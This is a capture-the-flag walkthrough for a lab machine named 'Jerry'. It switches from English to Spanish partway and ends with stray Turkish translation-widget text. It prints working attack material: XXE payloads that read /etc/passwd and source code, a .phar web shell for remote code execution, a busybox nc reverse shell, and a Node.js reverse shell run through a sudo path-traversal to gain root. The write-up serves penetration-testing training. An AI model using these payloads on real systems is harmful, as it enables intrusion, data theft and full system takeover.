Jerry

Difficulty: Hard

  • The IP address of Jerry's machine in my case:

Recon

  1. We launched an Nmap scan against the target:

sudo nmap -sCV -p- --open -T5 192.168.56.109
  • Ports identified:

    • 22 → SSH Service

    • 25 → SMTP Service

    • 80 → HTTP Service

  1. We add the IP address and host to the /etc/hosts file :

  1. We visited the website using the browser:

  1. While browsing the web, we found a form that allows us to upload a profile picture:

File Upload

  1. Since the input is for uploading a profile picture, we'll test if we can upload another type of file, for example a txt file:

  • But the input validates the file type and only allows images.

  1. We analyzed the code to see how the input filters which file formats are uploaded:

  • We identified the UploadCheck() function and the accept parameter that only allows image formats.

  1. We checked the UploadCheck function to analyze how it validates the format:

  1. Analyzing the script code, in the part that prints the message "Only images are allowed", it specifies which extensions are allowed and if they are not one of the listed ones, the file upload is not allowed:

  • Only jpg, jpeg, and png file extensions are allowed . That's why the txt file upload was not permitted.

  1. This filter is very easy to bypass. As seen when inspecting the code, it's accessible from the front end. By removing the function from the input and submitting the form again with the file uploaded in the input, the file can be uploaded.

  • But it seems that it's not actually uploading anything, you can see it in the URL.

  1. The next step will be to do a web fuzzing to see if there are any elements to explore further:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://jerry.nyx/request/FUZZ.php -c
  • 3 PHP files identified:

    • index → ​​The form screen.

    • submit → Send the form by clicking on “Submit”.

    • upload → Upload the file attached to the form.

  1. A shell.php file is created:

  1. For the upload of shell.php, traffic is redirected through Burp and the filtering function is removed as previously done:

  • By removing the filtering function from the front-end, you can click the file upload button and capture the POST request to upload.php.

  1. When sending it from the Repeater, the extension is identified and does not allow the upload:

  • There must be another blacklist function in the back-end of the website that does not allow PHP extensions.

Extension Fuzzing

  1. The next step is to fuzz extensions to try to avoid the blacklist of extensions that should be in the back-end of the website; for this, the file upload request is sent to the Intruder :

  • The part of the extension that will be fuzzed is selected:

  • Se carga una la lista de extensiones que se utilizará en el fuzzing, en el menú de la derecha del Intruder de Burp:

  • Importante: Desactivar el URL encode, porque sino encodeará las extensiones y no dará resultado:

  • En Settings, añadir el mensaje “Extension not allowed” para que filtre las respuestas que da el servidor:

  • Se inicia el ataque:

  1. Al finalizar el ataque, ordenar por la columna en la que está aplicada la regex del “Extension not allowed” y aparecen las extensiones que no están blacklisteadas y permiten la subida del fichero:

File Upload into XXE

  1. Ahora que conocemos las extensiones válidas, vamos a usarlo en la explotación. Para ello, descargamos una imagen svg:

  1. Repetimos en el formulario la eliminación de la función de validación:

  1. Redirigimos el tráfico a Burp e interceptamos la request para enviarla al Repeater:

  1. Con la request de subida de la imagen svg en el Repeater, probaremos con el siguiente payload a ver si podemos mostrar archivos del sistema objetivo:

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
  • Esto sucede porque las imágenes SVG contienen código XML, que nos permite la ejecución de código en la máquina objetivo.

  • Usuarios identificados:

    • kramer

    • jerry

    • elaine

  1. Podemos visualizar archivos del sistema, pero también mostrar el código de archivos como tal. Al hacer el fuzzing hemos identificado upload.php, que por lo que hemos ido avanzando en la máquina, es el archivo que hace la subida del archivo adjunto desde el formulario al server. Utilizaremos el siguiente payload para mostrar su código fuente y entender el funcionamiento de subida:

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
  • El código del archivo viene encodeado en base64, así que lo decodeamos:

echo -n “código_upload.php_base64” | base64 -d
  • Ahora el código es legible. Se puede ver en que directorio se sube el archivo del formulario, cómo lo renombra, la blacklist, etc.

RCE

  1. Ahora recuperaremos la request de subida de la shell.php. En la blacklist del código decodeado aparecen las extensiones que están bloqueadas, pero una de las que hemos identificado con el Intruder si que nos funcionaría. En la request, cambiamos la extensión de shell.php a shell.phar y la enviamos de nuevo desde el Repeater:

  • Esta vez el archivo se sube de forma correcta.

  1. Cómo hemos identificado anteriormente, el archivo subido cambia de nombre (añadiendo la fecha actual, en un formato específico) y se sube al directorio job_request_files, así que accedemos a la ruta desde el navegador, añadiendo un comando para su ejecución desde el cmd que incluye el archivo .phar:

http://jerry.nyx/request/job_request_files/25-09-22_shell.phar?cmd=id

  • Conseguimos la ejecución de código remoto en la máquina víctima.

Reverse Shell

  1. Vamos a ejecutar una reverse shell contra nuestra máquina atacante, para que nos sea más cómodo operar en los siguientes pasos:

http://jerry.nyx/request/job_request_files/24-09-23_shell.phar?cmd=busybox nc 192.168.56.101 1234 -e sh

  • Previamente se deja una consola a la escucha:

nc -vnlp 1234
  • Recibimos la conexión al acceder a la URL anterior:

  1. Listamos el contenido de la carpeta en la que nos encontramos:

  • Se pueden ver varios archivos que he subido de prueba, los del ataque del Intruder, además del index.php.

Privilege Escalation

  1. Listamos los usuarios disponibles desde el directorio /home/

  1. Uno de los puertos abiertos es el 25 (SMTP), lo que quiere decir que hay un servicio de mail. Para visualizar los mails enviados por los usuarios, iremos al directorio /var/mail:

  • No tenemos permisos sobre estos directorios porque peretenecen a los usuarios.

  1. Vamos a realizar enumeración de archivos sobre los que tengamos permisos de escritura:

find / -writable 2>/dev/null | grep -v -i -E 'proc|run|sys|dev'
  • Pero no hay nada interesante.

  1. Navegando por las carpetas de la raíz, identificamos contenido útil en el directorio /opt:

  1. Dentro del directorio scripts está el archivo backup.js, leyendo su código se puede ver que en la carpeta backups_mail se están creando archivos comprimidos en ZIP.

  • Listamos el contenido de backups_mail, y tenemos permisos de lectura:

  1. Descargamos los archivos comprimidos a nuestra máquina atacante para leerlos:

  • Levantamos un servidor PHP en la máquina víctima:

php -S 0.0.0.0:8080
  • Desde la máquina atacante, descargamos los archivos:

wget 192.168.56.109:8080/archivo_backup.zip
  • Descomprensión de los archivos ya en la máquina atacante:

unzip archivo_backup.zip
  1. Investigamos el contenido de los mails, que son conversaciones entre los usuarios, y encontramos una posible contraseña:

  1. Probamos el acceso por SSH con el usuario elaine y la contraseña que acabamos de encontrar:

  • La contraseña es correcta y se consigue la conexión por SSH con el usuario elaine.

  1. Buscamos sobre que tiene permisos de ejecución sin contraseña el usuario elaine:

  • Tiene permisos de ejecución sobre los .js dentro de /opt/scripts/, así que el script de backups que hemos identificado anteriormente, se puede ejecutar desde el usuario elaine.

  1. Al tener permisos de root sobre /opt/scripts/*.js la forma de avanzar sería creando una reverse shell con javascript y ejecutarla indirectamente de la siguiente manera:

  • reverse_shell.js:

(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4444, "192.168.56.101", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();
  • La creamos dentro del directorio tmp:

  • Ponemos una consola a la escucha:

nc -vnlp 4444
  • We will execute it through the path that elaine is allowed to execute as sudo:

sudo /usr/bin/node /opt/scripts/*.js/../../../../../../tmp/reverse_shell.js
  • We received the connection as root in the listening console:

Flags

Flag user

  • The flag user.txt file is located in the user elaine 's directory :

Flag root

  • The root.txt flag is located in the root user's directory:

Latest update

Orijinal metin
Bu çeviriyi değerlendirin
Geri bildiriminiz, Google Çeviri'yi iyileştirmek için kullanılacaktır